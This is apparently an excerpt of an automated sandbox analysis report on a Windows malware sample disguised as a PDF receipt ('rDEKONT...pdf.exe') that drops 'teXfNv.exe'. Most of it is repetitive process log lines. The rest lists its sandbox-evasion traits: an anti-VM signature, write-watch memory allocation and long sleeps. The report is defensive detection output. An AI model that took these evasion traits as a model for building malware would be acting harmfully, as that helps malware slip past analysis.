Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7328, type: MEMORYSTR
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: 1650000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: 3160000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: 5160000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: 5830000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: 6830000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: 6960000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: 7960000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: B850000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: C850000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: CCE0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: DCE0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: EFC0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: FFC0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: 10FC0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: EB0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: 2A70000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: FC0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: 1600000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: 3240000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: 18D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: 5890000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: 6890000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: 69C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: 79C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: B3B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: C3B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: C840000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: 69C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: B3B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: C840000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: FB0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: 2B40000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory allocated: 1130000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599812 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599686 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599575 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599467 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599359 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599250 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599140 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599031 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598922 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598812 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598703 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598593 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598484 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598363 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598243 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598125 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598015 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597906 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597797 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597687 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597578 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597468 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597359 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597124 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596970 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596844 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596727 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596614 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596484 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596375 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596264 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596156 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596047 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595937 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595828 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595718 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595608 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595500 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595390 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595281 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595172 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595062 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594953 Jump to behavior
